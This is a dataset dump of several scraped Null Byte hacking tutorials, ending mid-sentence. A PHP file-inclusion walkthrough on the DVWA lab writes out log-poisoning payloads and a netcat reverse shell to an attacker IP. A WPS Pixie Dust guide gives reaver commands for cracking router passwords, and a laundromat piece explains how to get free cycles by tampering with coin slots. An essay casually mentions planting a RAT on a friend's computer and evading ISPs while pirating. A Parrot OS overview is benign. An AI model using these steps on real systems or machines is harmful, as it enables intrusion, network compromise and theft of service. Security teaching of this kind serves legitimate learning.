title
stringlengths
30
147
content
stringlengths
17
61.4k
How to Exploit PHP File Inclusion in Web Apps « Null Byte :: WonderHowTo
File inclusion can allow an attacker to view files on a remote host they shouldn't be able to see, and it can even allow the attacker to run code on a target.To demonstrate these vulnerabilities, we'll be practicing PHP file inclusion using theDamn Vulnerable Web App. We'll cover how both remote file inclusion and local file inclusion work with the goal of achieving shell access to the vulnerable host.In our first example, we will be looking at a local file inclusion (LFI). This kind of file inclusionincludesfiles present on the remote host. It can be used to view configuration files, search for interesting documents, and get a low-privilege shell. This type of inclusion is present in PHP, JSP, ASP, and other languages.Don't Miss:How to Hack Web AppsIn our second example, we look at remote file inclusion (RFI). It is essentially the same concept, the difference being that the attacker isn't limited by what is available to them on the remote host. An attacker can include files directly from their machine for execution by the remote host. This type of inclusion is also present in many programming languages.Local File InclusionLocal file inclusion allows you to read files on the vulnerable host, and if you have the ability to modify files on the local host, execute code as well. For example purposes, I will be using the Damn Vulnerable Web App, or just DVWA for short, running on a virtual machine on my local network. Full instructions for doing so can be found onDVWA's GitHub page.Don't Miss:How to Hack WordPress Web AppsStep 1: Test the LFIIn this basic LFI scenario, we will use a local file inclusion to gather information on the remote host and then exploit a vulnerability allowing us to get a root shell. Below is the default "File Inclusion" page in DVWA, which can be found from the menu on the left.First, I will test to see if I can read a common file such as /etc/passwd. To do so, I input enough previous directories to get me back to root, then input the path for /etc/passwd. The ?page= part seen below would normally point to file1.PHP.In this case, we use directory traversal to access the /etc/passwd file. In most operating systems,..represents the previous directory. Since we don't actually know what directory the app is reading files from, we tell the app to go back a bunch of directories, and then to /etc/passwd.As expected, I am able to recover the /etc/passwd file. Of course, this isn't limited to use only on /etc/passwd, this can be used to recover any file that the web app user has read privileges on.Let's break it down a little bit more with an example path. This is the working directory of our fictional app:/var/www/cgi-bin/things/When it is passed a parameter like ?page=file1.php, it looks in its working directory to load file1.PHP. When we execute these attacks, we don't actually know the working directory of the application; it could be buried deep in a directory tree or it might be in a user's home directory. So we want to be sure that our path includes enough previous directories to get us back to the root directory, which can be a guessing game.../../../../../../../../../../../../../../etc/passwdIn this relative path, I have a total of 14 previous directories. That's fine. Any previous directories beyond the root directory of the filesystem are ignored. This path goes back to the root directory, and then from there, to /etc/passwd.Don't Miss:How to Find Directories in Websites Using DirbusterThis is incredibly useful for scenarios where you need to read configuration files. Some LFIs will work when you aren't logged into the app, and you can find usernames and passwords or other useful information in the configuration files.Now that we know a local file includes work on this app, how do we get a shell back?Step 2: Inject CodeIn this case, I'm going to take the easy route and insert the code for my shell into the log files, then access it with the web app. First, I verify that I can access the log files. In some cases, these may not be readable.If we have done our initial recon, we will have some idea of what type of system we are up against, including what type of web server the host is running. Armed with this knowledge, we can ascertain the path of the log files.In this example, we have an Apache server, and the default location for Apache logs is /var/log/apache2/, or /var/log/apache. As we can see below, I've successfully included the Apache access log into the page.Next, we check for command execution. UsingNetcat, I connect to my web server and send some PHP code.nc 192.168.1.111 80<?php echo shell_exec('ls -lart'); ?>What I'm doing here is sending PHP code directly to the web server. This is not what Apache expects from an HTTP request, and the server sends back error 400 but logs the request in /var/log/apache2/access.log. This will allow me to read back the log file using the web app, which will execute any PHP it comes across.Don't Miss:Netcat, the Swiss Army Knife of Hacking ToolsNow, I have PHP in the log file to execute a directory listing. Let's see if it worked:I can see below that thelscommand worked — my code was executed on the remote host. We included the Apache log file into the app, then PHP reads through the log file and prints the text contents to the top of the page. When the PHP interpreter hits our code to executelson the system, it executes it.I've highlighted the portion where our code was executed; the rest of the text is just the Apache log file. We've got RCE, which means, I'm just a step away from a shell.Step 3: Get a ShellNow that we can verify our access, I need to get myself a shell. I'll connect again with Netcat, but this time my PHP shell_exec() will contain the command for a reverse Netcat connection. This is where it can get tricky. If Netcat isn't installed, you aren't going to get an error, you simply won't get a connection. In some cases, you have to get tricky with your shells. Luckily, there are many options available for recovering shells from a Linux host.To start, I'll type the following into a terminal window.nc 192.168.1.111 80<?php shell_exec('nc -e /bin/bash 192.168.1.82 31337'); ?>In this command, I establish a bare-bones Netcat connection to the vulnerable host on port 80. I then send PHP code which tells the PHP interpreter to execute Netcat. Theshell_exec()function in PHP executes a command via a system shell and returns a string.The command we want PHP to execute is the argument to the function, specifically telling Netcat to connect to my machine on port 31337. The-eoption tells Netcat to execute Bash. You can use any port you have permission to bind to. The PHP is injected into the log file the same as the PHP for ourlscommand.To catch the incoming shell, we'll need to run the following in a terminal window on our attacking machine.nc -nlv 31337This command executed on my attacking machine tells Netcat to set up a listener on port 31337. The-nargument specifies that Netcat should not attempt to look up addresses with DNS, the-largument tells Netcat to listen, and the-vargument sets verbose mode.The next time I access the access.log file, the web app executes the code contained within it and returns me a reverse shell.From here, there are there are many paths to take. Generally, I would begin searching the system and looking for opportunities for privilege escalation. This machine could just as easily become part of a botnet or be used as a jump box. An attacker could also easily add backdoors to the web app itself.Don't Miss:How to Spider Web Apps with WebScarabRemote File InclusionRemote file inclusion is even easier if it's available. This technique allows you to include files off of your own machine or remote host. For this example, I'm going to skip the testing stages and just include my PHP code for a Netcat reverse shell.Step 1: Start a ServerFirst, I'll need to enable my web server. For Kali Linux users, you can type the following into a terminal window.systemctl start apache2Step 2: Set Up Your CodeI will be using the same PHP code I used previously to send a shell back to my machine. I add the code to a file called shell.html, though, as you've seen, this particular app will include just about any file with PHP in it. We could get the same result with shell.PHP or shell.log. We only need to put one line of PHP into this file, which the interpreter will read and execute.I then move that file into my web root, which for Kali Linux users should be located at /var/www/html/.Step 3: Set Up a Netcat ListenerNext, I set up a Netcat listener on my attacking machine by typing the following into a terminal window.nc -nvl 31337This is just a standard listener, the-nargument tells Netcat to not resolve host names,-vargument is for verbose, and the-largument is for listen. The last argument is the port to listen on.Step 4: Include Your CodeLastly, it's time I include the file into the vulnerable application.The web app executes the PHP code in shell.html, and as we can see below, my Netcat listener is connected to the remote host. I have a low-privilege user account (www-data) and can interact with the system via command line.Some Caveats for File InclusionThis article covers the basics of local and remote file inclusions. In some cases, these vulnerabilities can be harder to exploit in the wild. You may need to terminate file names with null-bytes or even escape the slashes in your path. It's all dependent on how the code on the back end is parsing the input. Even if the vulnerability is more difficult to exploit, it is still very low hanging fruit.If you have any questions or comments, send them my way in the comments below or at@0xBarrowon Twitter.Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bymarkusspiske/Pixabay; Screenshots by Barrow/Null ByteRelatedHow To:Exploit Remote File Inclusion to Get a ShellHow To:Beat LFI Restrictions with Advanced TechniquesHow To:Successfully Hack a Website in 2016!How To:Upload a Shell to a Web Server and Get Root (RFI): Part 1How To:Write an XSS Cookie Stealer in JavaScript to Steal PasswordsHow To:Set Up a Pentesting Lab Using XAMPP to Practice Hacking Common Web ApplicationsHow To:Slip a Backdoor into PHP Websites with WeevelyHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow To:Create a lightning bolt effect using After Effects and the Trapcode SuiteHow To:Use Commix to Automate Exploiting Command Injection Flaws in Web ApplicationsHow To:Fake Captive Portal with an Android PhoneHow Null Byte Injections Work:A History of Our NamesakeIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Links for Gifts and Building RequestsGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreNews:Nursery Barn ExpansionNews:FarmVille Orchard and Tree Gifting LinksSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)News:Flaw in Facebook & Google Allows Phishing, Spam & MoreGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Turn Your House Lights On & Off Using the InternetNews:Personalized Orchard Request Links for FarmvilleGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker Training
TypoGuy Explaining Anonymity: A Hackers Mindset « Null Byte :: WonderHowTo
CEO's of IT companies doesn't know this because they are not a hacker.Only a true hacker can become a successful Security head officer.Head of Security:Well let me tell you something my good friend. Many companies we have today they are still getting attacked from hackers around the world, and whose job is it to make sure that doesn't happen?That's right the head of the security for that individual firm. There are a few of these positions in every firm that applies for slightly different areas in the IT part for a company, but overall they are suppost to keep intruders away.Think Like a Hacker:You need to think what a hacker would do in certain situations when it comes to cracking systems, creating software, tracking down other hackers or whatever the case might be. It has to be a natural thing.Breathe like a Hacker:My friend, you need to become one with your hacking potential.Hacking in my opinion is a skill set, you need to grow that skill set. Let it define you, let it grow within you and you will think like a hacker.Knowing how to stay safe on the internet is what many people knows how to. But being able to go those 'dangerous' places and still being safe that in my opinion is hard to do if you can't think like a hacker.EXAMPLELook at people who download illegal movies and programs what not. Many get caught because they don't know how to stay away from the ISP and the companies reporting the illegal activity.They need a hackers advice on improving that set of skill.(I can personally support this example from real life)Security Engineers & the Hackers Mindset:Why is it that they still get attacked?I like to categorize security engineers like so;They can't think like a hacker because they are not one. They are simple a security engineer.THE MINDSETThey don't know how hackers think or how they operate, what techniques they use, and most importantly what they are capable of. Hackers find new vulnerabilities every day, and exploit that shit. Developing new FUD software to evade AV's and even Firewalls.Let me tell you a secret that many many people doesn't know.When a hacker sets himself a goal, he will achieve it. Because the hacker is not in a rush, he is in the shadows. The admin doesn't know the hacker only that they are hidden 'waiting' sorta say.A hacker will come up with a different way of approaching the goal. And let's be honest there are soooo many ways you can crack for example a WiFi password. Or installing a RAT on your friends computer.The hacker knows of the possible solutions, and he will continue until one of them cracks it, because he knows it will. Not a single system isimpossible to crack. That's a funny way to think if you don't know this. If you ask anyone who isn't a hacker they probably think as soon as they scanned their PC for viruses in their AV and then clicked "remove" they are now completely safe and wont worry as much. What if the hacker hasn't decided to give up? And right there you have the vulnerability for an individual. Hackers doesn't give a singly f#ck about how long it will take them to crack your password, they aren't going anywhere. 10 hours to brute force your password? No problem, they'll click run and then come back in 10 hours, it doesn't matter for him, something has to succeed eventually.Making the decision to let your guards down is the moment you just mailed an invitation to the hacker to have a full VIP tour in your computer system.How to Improve Security:Nothing and nothing has ever been completely secure nor will there ever be a system or network or company etc that will get to that point, because there are black hat hackers developing malicious software that has an algorithm that AVs doesn't know about, which means that software will work on whatever system is vulnerable to that exploit.So, how would you stay as safe as possible?Well, you would need, if you ask me, a bunch of real hackers who knows what they are capable of, and develop software that can protect you, and make your company so secure with encryption, untraceable servers, proxychains for the admins so the hackers can't perform active reconnaissance and can't determine the IP to attack.When you comebine all the things you can do to stay safe, you get to a point where it is absolutely pointless to even try and crack the Database password, or track down the admins ip address, or decrypt the encryption etc.And that's what its all about. Making it so hard for the hacker to achieve his goal so that it's pointless for him to try.That's a very sky high point to reach, because with enough money and ressources many say that it is possible to trace anyone down. Personally I think you can outbeat that statement, but who knows, I might be wrong or crazy thinking.End Note:With all of this now hopefully saved to your memory, you will understand better how a hackers mindset works.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedTypoGuy Explaining Anonymity:Choosing a Good VPNHow To:Keeping Your Hacking Identity Secret - #2How To:Establish the modeling mindset for SketchUpHow To:Gathering Sensitive Information: Basics & Fundamentals of DoXingHow To:Become a HackerTypoGuy Explaining Anonymity:Who Is Anonymous?Hack Like a Pro:How to Anonymously Torrent Files with TriblerHow To:Keeping Your Hacking Identity Secret: How to Become a Ghost Hacker #3News:Hackers Claim 1$ Million Bounty for Security Flaw in iOS 9How To:Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep WebTypoGuy Explaining Anonymity:Secure Browsing HabitsTypoGuy Explaining Anonymity:Your Real IdentityTypoGuy Explaining Anonymity:Staying Hidden from the NSAHow To:Hack Your Firefox User Agent to Spoof Your OS and BrowserNews:Jobs & Salaries in Cyber Security Are Exploding!How To:Answer the "Why do you want to work for us?" questionHow To:Drink water while wearing a Guy Fawkes mask without showing your faceHow To:Shoot an anonymous interview for documentariesNews:Is There a Tiger in Your Tank?News:Anonymity Networks. Don't use one, use all of them!How To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebNews:The Fog of WillHow To:Conceal a USB Flash Drive in Everyday ItemsHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItRemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the InternetHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateHow To:Use Tortunnel to Quickly Encrypt Internet TrafficHow To:Chain VPNs for Complete AnonymityNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammNews:Student Sentenced to 8mo. in Jail for Hacking Facebook
How to Hack WiFi Using a WPS Pixie Dust Attack « Null Byte :: WonderHowTo
Long time reader, first time 'How To' poster. This tutorial has been highly requested. Here are the steps to perform a Pixie Dust attack to crack a WiFi password that has WPS enabled.Please note, this attack is very specific in nature. I've had a lot of success running this attack against Ralink and RealTek chipsets. And very spotty success against Broadcom chipsets. Thismight not workagainst all routers, but is definitely worth trying before using a brute force attack against WPSLet's Begin!!!Step 1: Download All DependenciesIt's important to download all dependencies from the repository before proceeding with the attack. Kali Linux includes some of these, but if you're using another flavor of Linux, it may not. So let's go through all of them.First, type into the terminal: apt-get updateThen: apt-get install build-essentialapt-get install libpcap-devapt-get install sqlite3apt-get install libsqlite3-devapt-get install pixiewpsI like to do each download individually as I've had issues in the past trying to download all at once.Step 2: Clone the GitHubThis attack works by using a fork of Reaver. We'll need to download, compile, and install the fork. Let's begin:git clonehttps://github.com/t6x/reaver-wps-fork-t6xStep 3: InstallationFrom your pwd, type...cd reaver-wps-fork-t6x/cd src/./configuremakemake installor 'sudo make install' if you're not logged in as 'root'Step 4: Monitor ModePut your interface into monitor mode using 'airmon-ng start {wireless interface}Check out our list of Kali compatible wireless networks.Image by SADMIN/Null ByteNeed a wireless network adapter?Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2017For this to work, we'll need to use a compatible wireless network adapter. Check out our 2017 list of Kali Linux and Backtrack compatible wireless network adapters in the link above, or you can grabour most popular adapter for beginners here.Step 5: Find a TargetThe easiest way to find a target with WPS enabled is'wash -i {monitor-interface}'Gather the BSSID and channel # for the router you want to attack. Make sure you have a strong signal before attempting this attack.Step 6: Launch the AttackOnce you have all the information, simply type in the following command:reaver -i {monitor interface} -b {BSSID of router} -c {router channel} -vvv -K 1 -fStep 7: Ta-Da!There's the password! Again, this attack won't work against all routers, but it is definitely more effective than a brute force attack (Pixie Dust: maximum 30 minutes vs Brute Force: minutes to DAYS!)If you're looking for a cheap, handy platform to get started working with the pixie dust attack, check out our Kali Linux Raspberry Pi build usingthe $35 Raspberry Pi.Get started on the Kali Pi.Image by SADMIN/Null ByteGet Started Hacking Today:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxThat's all for now!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Automate Wi-Fi Hacking with Wifite2How To:The Beginner's Guide to Defending Against Wi-Fi HackingApple AR:Pixie Enlists ARKit to Help You Find Your KeysHow To:Get WPA-WPS Passwords with Pyxiewps.How To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Crack WPS with WifiteHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyNews:Pixie for iPhones Uses Augmented Reality to Help Find Your Lost Wallet or KeysHow To:Create a super sparkly pixie dust makeup look for HalloweenNews:New Pyxiewps Version Is Out.
How to Hack Coin-Operated Laudromat Machines for Free Wash & Dry Cycles « Null Byte :: WonderHowTo
Most people have had the unfortunate experience of not having a washer and dryer at some point. Apartments in my area tend to charge at least one hundred dollars extra for the units with washer and dryer hookups, and even more if you want a unit with an actual washer and dryer installed already. If you are young and just starting out, this may be hard for you to manage with your current salary. If you have no washer and dryer, the only alternative is the laundromat.If you can't fit an apartment with a washer and dryer into your budget, then you also probably don't have a car, which means you'll be taking the bus. That is another unwanted fee. Not only does it cost more money, but we have to drag our clothing on the bus (unless you're lucky and have on-site laundry).Coin operated machines are usually vulnerable to a hack that allows you to get free cycles. It never ceases to surprise me how they still manage to make money off of the machines.Note:Some machines are different and are not vulnerable to this.WarningsAs I have said, this is just for amusement purposes, as this will likely not effect the way the machines are made. With that said, know that youwillbe caught if you use this trick. Most places have cameras, it would be stupid to try your luck to save mere dollars.RequirementsThin straws, paperclips, or any strong, slightly flexible, cylindrical object (one for every coin needed to operated the machine)A machine that you own or have permission to practice onStep1Test for the VulnerabilityTo test your machine for the vulnerabilityPush the coin slot in as far as you can, without anything in the slots. Take note of it.See if you can fit the straws inside of the coin slot holes.If this works, your machine is likely vulnerable to this hack.Step2The HackPush the tray in so it is about a dime's length away from as far as it can be pushed and hold it there.Insert a straw into each slot at an angle that is less than 45 degrees until they fit snugly into the slots.Push the tray in very slowly so that it isalmostall of the way in.Keeping them at the same angle used to get the sticks in, jiggle the sticks around until they seem to go in a bit deeper (be careful not to break the tool you are using).After you get them to go in a bit deeper, they have successfully emulated the effect that a coin being inserted into the slot would have. Push them in the slot and watch in awe as your clothes become clean.Dear landlords everywhere, make laundry free and inclusive with rent, please?Follow and Chat with Null Byte!TwitterGoogle+IRC chatWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viadaybookRelatedHow To:Use Vinegar & Baking Soda to Fluff Up Worn-Out Bath TowelsHow To:The Secret to Washing Your "Dry Clean" Clothes—Without Going to the Dry CleanerHow To:Hack a coin operated laundry machineHow To:The Easiest, Greenest Way to "Hand" Wash Your ClothesHow to Hack a Vending Machine:9 Tricks to Getting Free Drinks, Snacks, & MoneyHow To:Make acid wash jeansDishwasher Cooking:Delicious Recipes You Can Make While Cleaning Your DishesHow To:Do your laundry while at collegeHow To:Hack a Candy Machine with a Paper CoinHow To:Clean a stain in your washing machineHow To:Fix your front load washer if it stops mid-cycleHow To:Hack a British Vending Machine Using TinfoilNews:Full-Sized Mechanical Skeeball Machine Built Entirely Out of K'Nex—And It Works!How To:Keep Your Hair Fabulous & Oil-Free Between Washes with DIY Dry ShampooHow To:Get Cheap Hearthstone PacksHowTo:Build Your Own DIY SuperMacro LensHow To:Give Your MacBook's Battery a Longer, Healthier Life with These Power TipsHow To:Dry Your Soaking Wet "Hand Wash Only" Clothes FasterHow To:Conserve energy when doing laundryMac for Hackers:How to Get Your Mac Ready for HackingHow To:Fix a Wash Machine That Won't Spin Repair AgitatorHow To:10 Ways to Whiten Clothes Without Using Any BleachHack Like a Pro:How to Create a Virtual Hacking LabHow To:Get a Free Drink from a Nesquik Vending MachineHow To:Change the setting on a dishwasher that runs longHow To:Wash cloth diapersHow To:Get Free Snapple, Soda and Snacks from Vending MachinesHow To:Hack a Vending Machine in 3 Easy StepsHow To:Laundry Symbols Deciphered! Here's What the Care Labels on Your Clothes Really SayHow To:Hack a Vending Machine in 40 SecondsHow To:The One Thing You're Probably Not Doing for Better-Tasting Coffee at HomeHow To:Make a hand-painted tie for Father’s DayHow To:Convert a multi-function cleaner from vacuum to washHow To:Morning Coffee Not Strong Enough? Do This InsteadHow To:12 Laundry Hacks for Washing & Drying Your Dirty ClothesNews:*****FREE E-MAIL GIFTS Mobsters2******News:Finally! A Practical Use for Arcade Game SkillsHow To:Wash A Car With Out Damaging The PaintHow To:FarmVille Cheats How to Freeze Your CoinsHow To:Wash Your 'Dry Clean Only' Clothes at Home for Cheap
Exploring Kali Linux Alternatives: How to Get Started with Parrot Security OS, a Modern Pentesting Distro « Null Byte :: WonderHowTo
Kali Linuxis the obvious first choice of an operating system for most new hackers, coming bundled with a curated collection of tools organized into easy-to-navigate menus and a live boot option that is very newbie-friendly. But Kali isn't the only distribution targeted at pentesters, and many exciting alternatives may better fit your use-case. We've already coveredBlackArch Linux, now it's time to talk about Parrot Security OS.The Many Flavors of Parrot Security OSParrot Security OSis a Debian-derived operating system for general use, pentesting, andforensics. Initially released in 2013, Parrot has grown rapidly and currently offers many different flavors targeted towards different use-cases.Parrot Home, targeted towards desktop users, strips out the penetration-testing packages and presents a nicely configured Debian environment.Parrot Airis focused on wireless penetration testing.Parrot Studiois designed with multimedia creation in mind.Parrot Cloudtargets server applications, giving the user access to the full suite of penetration testing tools included in Parrot Security, minus the graphical front end. It's designed to deploy on aVPSand function as a jump box.Parrot IoTis designed for low-resource devices such as thePine64,OrangePi, andRaspberry Pi 3.Parrot Securityis the original Parrot OS and is designed with penetration testing, forensics, development, and privacy in mind. Parrot OS has quite a few targeted use-cases, but that doesn't detract from the main distribution. Parrot Security OS is a solid general use desktop workstation with plenty of security tools included to keep us happily hacking away!Fans of Kali Linux will appreciate that Parrot is Debian-derived. Working with the operating system itself will feel familiar, and there is no need to re-learn package management or distribution specifics.Parrot Security OS running in VirtualBox.Image by SADMIN/Null ByteWith the background out of the way, let's take a look at Parrot Security. I installed Parrot Security in a VirtualBox VM. Parrot Security does work as a live ISO, but I generally like to try things out installed and persistent.Step 1: Get Parrot Security OSThe first step is to grab a copy of the Parrot Security ISO. You can find it on theParrot Security sitealong with the hashes for the ISO. Once the download is complete, it's essential to verify the hash. If the hashes do not match up, you may have a modified copy or a corrupted ISO, neither of which you should use.The hashes for thecurrent version of Parrot Security(4.6) are availablefrom Parrot's site. To verify the hash in Windows, open a command prompt and executecertutil.certutil -hashfile Parrot-security-4.6_amd64 SHA1To verify the hash in macOS, open a terminal and executeshasum.shasum Parrot-security-4.8_amd64.ovaTo verify the hash in Linux, open a terminal and usesha1sum.sha1sum Parrot-security-4.6_amd64If your hash matches up, you're good to move on to the next step, booting the OS. If the file name is different or a newer version, make sure to swap that out in the command you use above.Step 2: Create a Virtual MachineBefore we can boot up the OS, we need a machine to try it out on. We could write the image to athumb drive, then boot on a physical machine, but that's much more time-consuming than merely creating a VM (virtual machine). Most modern computers are more than capable of running a Linux guest, making virtualization incredibly appealing. Not only that, but your machines are also disposable. If something goes wrong, you can burn the VM and call it a day.I will be using VirtualBox in Windows, which isfree from the VirtualBox website, though these steps should work on all major platforms. You can view the process for using VirtualBox on macOS inour videoabove. Launch VirtualBox, and you will see the VirtualBox manager.I currently have an instance of Parrot Security running. To start a new one, click on the "New" button in the top left of the window.Give the machine a name, then in theTypedrop-down menu, select "Linux." In theVersiondrop-down, select "Debian (64-bit)." If you downloaded a 32-bit version, choose "Debian (32-bit)." As far as memory size, 2 GB should be sufficient. At maximum, I would use half or under my machine's RAM.I selectedCreate a virtual hard disk nowsince I was installing Parrot Security. If you want to try it out with a live CD, selectDo not add a virtual hard diskinstead. Once you are satisfied with your selections, click on "Create."If you opted to add a virtual disk, VirtualBox would prompt you to create the virtual disk. I selected a 30 GB dynamically allocated VDI. Select whatever size you are comfortable using. A fixed-size disk performs a little faster than one that is dynamically allocated; however, a dynamically allocated disk only uses HDD space as needed. I prefer dynamically allocated. Click on the "Create" button to continue.You will be returned to the VirtualBox manager with your new machine available in the list.Step 3: Boot Up Parrot SecuritySelect the machine you created to test out Parrot Security, then click the "Start" button in the VirtualBox Manager.VirtualBox will prompt you to select boot media for the new machine. Select the location of the Parrot Security OS image you wish to boot, then click "Start" to begin. When the machine starts, you will see theGRUB.More Info:What Is the GRUB Bootloader in Linux?The Parrot Security ISO is very flexible. There are quite a few options for live boot."Live Mode" is just a standard live USB boot. Your machine will boot from theUSB stick, and you can work with Parrot Security from there. It's an excellent way to get a feel for the system and also gives you a portable penetration testing OS."Terminal mode" is another live boot option but without a GUI."RAM mode" loads the operating system into RAM, which allows you to pull the USB stick from a host and continue to work in Parrot Security until the host reboots.The standard "Persistence" option will enable you to retain changes to the OS on yourUSB drive.The "Encrypted Persistence" option offers encrypted persistence, obviously."Forensics" allows you to boot without mounting disks.The "Failsafe" options are for convenience. Each one sets kernel parameters to deal with various common Linux boot problems. These are nice to have in a live image because they allow you to try a few fixes to common issues if your machine doesn't boot up without having to look up the kernel parameters.The various language options are self-explanatory but are great if English isn't your native language.The Parrot Security installer is a modified Debian installer, which will make it familiar to most Kali Linux users. Installation is quick and easy. The live ISO offers a Curses-based installer, a graphical installer, and a speech synthesis-based installer.I used "Install" to install Parrot Security, but you can get a feel for it just by running the live mode.Step 4: Customize & Navigate the LayoutOn first boot, the machine boots you into a MATE desktop environment. If you choose to install, you will see a lightdm login screen. After logging in with the default credentials ofrootandtoor, you will be prompted to select your keyboard layout.If you are using live mode, you will boot directly into a MATE desktop environment. Installed and persistent versions of Parrot Security will automatically detect when updates are available and prompt you to update the system.The system is laid out in a very straightforward manner, with a collection of tools that will be familiar to Kali Linux users. The menu system is similar to Kali Linux and is easy to navigate. The real difference here is that Parrot Security is meant to be a daily driver, and it shines at this. While you can use Kali Linux as a desktop workstation, it's a penetration-testing distribution first. With Kali, you need to build the system towards being a daily use system. Using Parrot Security, your penetration-testing tools are there, and your day-to-day applications are too.These additional features do take up about 1 GB more disk space. My standard Kali install weighs in at ~11 GB. The standard Parrot Security install comes in at ~12 GB.The default Parrot Security install uses about 313 MB of RAM, which is relatively light. Of course, this is with only system-related processes running. By comparison, my default Kali Linux install uses about 604 MB of RAM with only system-related processes running. It's a significant difference, though, with some modifications, Kali can be brought down in RAM usage.Parrot Security comes with some reasonably nice quality of life tools that can help with day-to-day tasks. It includes the Libre Office suite, Atom (an excellent IDE made by the Git team), edb, and more. You can complete many everyday tasks without the use of a terminal, such as starting and stopping services.Parrot Security packs a few cryptography tools such as Zulucrypt, a graphical utility that will help you manage your encrypted volumes. Cryptkeeper is another graphical utility that allows you to manage encrypted folders and more. These utilities make confidentiality easily accessible, even with minimal experience.Parrot Security doesn't stop with plain cryptography — the developers have included easy to use utilities for anonymization of internet traffic.The "anonymous mode start" tool will attempt to kill dangerous processes that can de-anonymize you, clear cache files, modify iptable rules, modify your resolv.conf, disable IPV6, and only allow outbound traffic through Tor. This would be quite a bit of effort manually, but with the script, it's just a click away. Parrot Security also includes a similar script for i2p. Once activated, there are also options to check your current IP address and change your exit node.Step 5: Get Help When NeededParrot Security is not very complicated to use, but you may find yourself in a situation where you need to get some help. Since this is a Debian-derived distribution, support will be straightforward to come by with a little bit of Google searching. The developers have also provided aParrot Security Wikiwhich is not very well-developed. There is an ambassador program in place where users candirectly contactParrot Security experts in many countries with their questions. However, this program is still in its infancy. There is also a small IRC community on the Freenode network in #parrotsec.Is Parrot OS the Pentesting Distro for You?Parrot Security is an excellent distribution for use by beginners and old pros alike. The installation comes with around 550 security-oriented tools, giving the user more than enough to get some work done. At the end of the day though, this distribution is also suitable for development or privacy-oriented users who don't want to spend a lot of time in a terminal.Parrot OS running as a guest on a MacBook Air.Image by SADMIN/Null ByteParrot Security OS is still growing. In the years since the initial release, this distribution has become a serious contender in my book. If anything, it's a bit lacking on documentation, which is excellent for users who are comfortable Googling issues that arise.Thanks for reading, and stay tuned for more articles! You can ask questions here or on [email protected]'t Miss:How to Get Started with BlackArch, a More Up-to-Date Pentesting DistroFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by SADMIN/Null Byte; Screenshots by Barrow/Null ByteRelatedHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow to Hack Like a Pro:Getting Started with MetasploitHow To:Exploring Kali Linux Alternatives: How to Get Started with BlackArch, a More Up-to-Date Pentesting DistroNews:My Review on Kali 2.0How To:Boot Linux from Your Android onto Any Mac or PCHow To:Audit Web Applications & Servers with 